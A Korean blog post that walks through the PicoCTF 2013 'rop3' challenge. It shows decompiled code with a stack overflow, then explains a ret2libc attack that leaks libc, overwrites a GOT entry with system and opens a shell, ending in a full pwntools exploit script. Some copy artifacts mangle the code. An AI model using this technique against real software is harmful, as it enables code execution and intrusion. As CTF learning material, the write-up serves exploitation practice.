[PicoCTF 2013] rop3

2019. 10. 8. 06:28Wargame & CTF/PicoCTF 2013

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1"Hello, World\n", 0xDu);
}
cs


1
2
3
4
5
6
ssize_t vulnerable_function()
{
  char buf; // [esp+10h] [ebp-88h]
 
  return read(0&buf, 0x100u);
}
cs


rop1과 rop2에는 not_called함수가 있었다. not_called를 직접 호출하거나 not_called 안에 system함수가 있었기때문에 system함수의 주소를 직접 구하지 않아도 쉘을 딸수있었다.

이제 system함수 주소를 구해 쉘을 따야한다.


write함수로 read.got의 주소를 구한다.

read.got에서 libc read를 빼면 libc base가 나온다.

libc system 에서 libc base를 더하면 실제 system함수 주소가 나온다.

다시 vulnerable_function으로 돌아가서 한번더 입력을 받는다.

이때 read를 통해서 bss영역에 "sh"를 넣어줄것이다.

그리고 read를 통해 write.got에 system주소를 덮어씌우고 bss영역을 인자로 해서 system을 호출하면 쉘이 따진다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
 
= ELF("./rop3")
= process("./rop3")
libc = e.libc
 
pppr = 0x0804855d
pr = 0x08048443
 
payload = ""
payload += "A"*(0x88+0x4)
payload += p32(e.plt["write"])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(e.got["read"])
payload += p32(0x4)
payload += p32(e.symbols["vulnerable_function"])
p.send(payload)
 
read_addr = u32(p.recv(4))
libc_base = read_addr - libc.symbols["read"]
system_addr = libc.symbols["system"+ libc_base
 
print hex(system_addr)
 
payload = ""
payload += "A"*(0x88+0x4)
payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(e.bss())
payload += p32(0x2)
 
payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(e.got["write"])
payload += p32(0x4)
 
payload += p32(e.plt["write"])
payload += p32(pr)
payload += p32(e.bss())
p.send(payload)
p.send("sh")
p.send(p32(system_addr))
 
p.interactive()
cs


'Wargame & CTF > PicoCTF 2013' 카테고리의 다른 글

[PicoCTF 2013] rop2  (0) 2019.10.08
[PicoCTF 2013] rop1  (0) 2019.10.08